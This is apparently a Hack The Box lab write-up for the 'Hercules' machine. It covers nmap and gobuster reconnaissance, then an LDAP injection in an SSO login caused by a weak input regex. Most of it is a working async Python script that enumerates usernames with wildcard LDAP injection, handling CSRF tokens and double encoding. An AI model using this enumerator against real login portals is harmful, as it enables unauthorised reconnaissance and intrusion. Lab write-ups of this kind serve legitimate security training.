DomainTakeover

Hack The Box - Season 9 HTB Hercules Writeup - Insane - Weekly - October 18th, 2025

Hack The Box - Season 9 HTB Hercules Writeup - Insane - Weekly - October 18th, 2025

Hercules HTB - Complete Writeup

12

Reconnaissance

Initial Nmap Scan

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://dc.hercules.htb/
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-20 07:36:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
|_http-title: Hercules Corp
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Key Findings:

  • Windows Domain Controller (DC.hercules.htb)
  • Active Directory services (LDAP on multiple ports)
  • Kerberos authentication (port 88)
  • IIS web server with SSL redirect
  • WinRM over SSL (port 5986)

website at https://hercules.htb/

Directory Enumeration

gobuster dir -u https://hercules.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k

Results:

  • /login - Authentication portal
  • /home - Redirects to login
  • /content - Static resources

![[Pasted image 20251020105540.png]]

Initial Access - LDAP Injection in SSO Login

Vulnerability Discovery

The Hercules SSO login page contained a critical LDAP injection vulnerability. Analysis of the input validation revealed:

Flawed Regex Pattern:

data-val-regex-pattern="^[^!"#&'()*+,\:;<=>?[\]^`{|}~]+$"

Critical Omissions: The blacklist failed to block essential LDAP metacharacters:

  • * (wildcard character)
  • & and | (logical operators)

Exploitation Process

Step 1: Initial Testing Testing * as username confirmed LDAP injection through differential response analysis.

Step 2: Boolean-Based Enumeration

  • Valid prefixes returned "Login attempt failed"
  • Invalid prefixes produced different responses
  • Backend likely performed: (&(objectClass=user)(sAMAccountName=INPUT))

Step 3: Automated Username Enumeration Developed a Python script using Breadth-First Search to systematically discover usernames:

#!/usr/bin/env python3
"""
Async LDAP username enumerator with parallel requests.
- Fetches fresh token/cookie before EVERY POST request
- Uses BFS approach with parallel character testing at each level
- Uses httpx for async requests
- Finds complete usernames efficiently

Requires: httpx
pip install httpx
"""

import asyncio
import httpx
import re
from collections import deque
from urllib.parse import quote
import time

# ---------------------------
# Config (edit for your target)
# ---------------------------
BASE = "https://[ATTACKER_IP]"        # base URL (scheme + host)
LOGIN_PATH = "/Login"               # POST target path
LOGIN_PAGE = "/login"               # GET page to retrieve token/cookie
TARGET_URL = BASE + LOGIN_PATH      # full POST URL
VERIFY_TLS = False                  # True if cert valid
USERNAME_FIELD = "Username"
PASSWORD_FIELD = "Password"
REMEMBER_FIELD = "RememberMe"
CSRF_FORM_FIELD = "__RequestVerificationToken"  # form field name for token
CSRF_COOKIE_NAME = "__RequestVerificationToken"

# POST settings
PASSWORD_TO_SEND = "test"
DOUBLE_URL_ENCODE = True   # Set True if you need double-encoding behavior

# Async settings
CONCURRENT_REQUESTS = 5     # Lower concurrency since we need fresh tokens
REQUEST_DELAY = 0.2         # Delay between batches to be polite

# BFS / charset
CHARSET = list("abcdefghijklmnopqrstuvwxyz0123456789.-_@")
MAX_USERNAME_LENGTH = 64    # safety limit to prevent infinite loops
VERBOSE = False

# Success indicator (valid user, wrong password)
SUCCESS_INDICATOR = "Login attempt failed"

# Simple regex to extract hidden input token
TOKEN_RE = re.compile(r'name=["\']{}["\']\s+type=["\']hidden["\']\s+value=["\']([^"\']+)["\']'.format(re.escape(CSRF_FORM_FIELD)), re.IGNORECASE)


class LDAPEnumerator:
    def __init__(self):
        self.valid_users = set()
        
    def prepare_username_value(self, username: str, use_wildcard: bool = False) -> str:
        """Prepare username for sending with optional wildcard and encoding"""
        username = username
        if use_wildcard:
            username = username + '*'
        
        if not DOUBLE_URL_ENCODE:
            return username
        
        # Double-encode if needed
        username = ''.join(f'%{byte:02X}' for byte in username.encode('utf-8'))
        return username
        # return quote(username, safe="")
    
    async def fetch_token_and_cookie(self, client):
        """GET the login page and extract CSRF token and cookies"""
        url = BASE + LOGIN_PAGE
        
        try:
            response = await client.get(url)
            token = None
            cookies = {}
            
            # Get cookies from response
            cookies = dict(response.cookies)
            
            # Try to get token from cookie first
            if CSRF_COOKIE_NAME in response.cookies:
                token = response.cookies[CSRF_COOKIE_NAME]
                if VERBOSE:
                    print(f"[i] Got token from cookie: {token[:10]}...")
            
            # Try to parse from HTML
            match = TOKEN_RE.search(response.text)
            if match:
                token = match.group(1)
                if VERBOSE:
                    print(f"[i] Parsed token from HTML: {token[:10]}...")
            
            return token, cookies
            
        except Exception as e:
            print(f"[!] Error fetching token: {e}")
            return None, {}
    
    async def test_single_username(self, username: str, use_wildcard: bool = False):
        """
        Test a single username with fresh token/cookie for each request
        """
        async with httpx.AsyncClient(
            verify=VERIFY_TLS,
            headers={
                "User-Agent": "pentest-enum/1.0",
                "Referer": BASE + LOGIN_PAGE,
                "Origin": BASE,
                "Content-Type": "application/x-www-form-urlencoded",
            },
            timeout=30.0,
            # proxy="http://127.0.0.1:8080"  # Adjust or remove if not using a proxy
        ) as client:
            
            # Step 1: Get fresh token and cookies
            token, cookies = await self.fetch_token_and_cookie(client)
            if not token:
                print(f"[!] Could not get token for '{username}', skipping")
                return False
            
            # Step 2: Prepare the POST request with fresh token and cookies
            username_payload = self.prepare_username_value(username, use_wildcard)
            
            data = {
                USERNAME_FIELD: username_payload,
                PASSWORD_FIELD: PASSWORD_TO_SEND,
                REMEMBER_FIELD: "false",
                CSRF_FORM_FIELD: token
            }
            
            try:
                # Make POST request with fresh token and cookies
                response = await client.post(
                    TARGET_URL, 
                    data=data,
                    cookies=cookies,
                    follow_redirects=False
                )
                
                if 'appp' in response.text.lower():
                    print(f"skipping apppool account")
                    return False

                is_valid = SUCCESS_INDICATOR in response.text
                
                if VERBOSE:
                    status = "VALID" if is_valid else "invalid"
                    wildcard = " (*)" if use_wildcard else ""
                    print(f"[>] {username:20} -> {status}{wildcard}")
                
                return is_valid
                
            except Exception as e:
                # if VERBOSE:
                print(f"[!] Request failed for '{username}': {e}")
                return False
    
    async def test_username_batch(self, usernames, use_wildcard=False):
        """
        Test a batch of usernames in parallel, each with its own fresh token/cookie
        """
        if not usernames:
            return {}
        
        # Use semaphore to limit concurrency
        semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)
        
        async def bounded_test(username):
            async with semaphore:
                return username, await self.test_single_username(username, use_wildcard)
        
        # Create tasks for all usernames
        tasks = [bounded_test(username) for username in usernames]
        
        # Execute all tasks concurrently
        results_list = await asyncio.gather(*tasks)
        
        # Convert to dictionary
        results = {username: is_valid for username, is_valid in results_list}
        return results
    
    async def discover_first_characters(self):
        """Discover which first characters are valid by testing all charset in parallel"""
        print(f"[*] Testing first characters: {''.join(CHARSET)}")
        
        # Test all possible first characters in parallel
        first_chars = [char for char in CHARSET]
        results = await self.test_username_batch(first_chars, use_wildcard=True)
        
        # Return characters that produced valid results
        valid_chars = [char for char in first_chars if results.get(char, False)]
        print(f"[+] Valid first characters: {''.join(valid_chars)}")
        return valid_chars
    
    async def extend_username(self, prefix):
        """Extend a username prefix by testing all next characters in parallel"""
        if len(prefix) >= MAX_USERNAME_LENGTH:
            return []
        
        candidates = [prefix + char for char in CHARSET]
        results = await self.test_username_batch(candidates, use_wildcard=True)
        
        valid_extensions = [candidate for candidate in candidates if results.get(candidate, False)]
        return valid_extensions
    
    async def verify_exact_username(self, username):
        """Verify that a username is valid without wildcard"""
        result = await self.test_single_username(username, use_wildcard=False)
        return result
    
    async def bfs_discover(self):
        """Main BFS discovery with parallel character testing"""
        print("[*] Starting parallel BFS username discovery...")
        
        # Start with discovering valid first characters
        queue = deque(await self.discover_first_characters())
        discovered_prefixes = set(queue)
        complete_usernames = set()
        
        level = 0
        
        while queue:
            level += 1
            current_level_size = len(queue)
            print(f"\n[*] Level {level}: testing {current_level_size} prefixes {set(queue)}")
            next_level = []
            
            # Process current level in batches
            batch_size = CONCURRENT_REQUESTS
            for i in range(0, len(queue), batch_size):
                batch = list(queue)[i:i + batch_size]
                
                # Test all extensions for this batch in parallel
                extension_tasks = [self.extend_username(prefix) for prefix in batch]
                extension_results = await asyncio.gather(*extension_tasks)
                
                # Process extension results
                for prefix, extensions in zip(batch, extension_results):
                    if not extensions:
                        # No extensions found, this might be a complete username
                        print(f"[+] testing username: {prefix}")
                        if await self.verify_exact_username(prefix):
                            if prefix not in complete_usernames:
                                complete_usernames.add(prefix)
                                print(f"[+] Found valid username: {prefix}")
                    else:
                        # Add valid extensions to next level
                        for extension in extensions:
                            if extension not in discovered_prefixes:
                                discovered_prefixes.add(extension)
                                next_level.append(extension)
                
                # Small delay between batches to be polite
                await asyncio.sleep(REQUEST_DELAY)
            
            # Update queue for next level
            queue = deque(next_level)
            
            if VERBOSE and queue:
                print(f"[*] Level {level} complete. Next level: {len(queue)} prefixes")
                print(f"[*] Valid usernames so far: {sorted(complete_usernames)}")
            
            # Safety check
            if level > MAX_USERNAME_LENGTH:
                print("[!] Reached maximum depth, stopping")
                break
        
        return sorted(complete_usernames)


async def main():
    enumerator = LDAPEnumerator()
    
    try:
        results = await enumerator.bfs_discover()
        
        print("\n" + "="*50)
        print("DISCOVERY COMPLETE")
        print("="*50)
        if results:
            print(f"Found {len(results)} valid usernames:")
            for username in results:
                print(f"  - {username}")
        else:
            print("No valid usernames found.")
            
    except Exception as e:
        print(f"[!] Error during discovery: {e}")


if __name__ == "__main__":
    asyncio.run(main())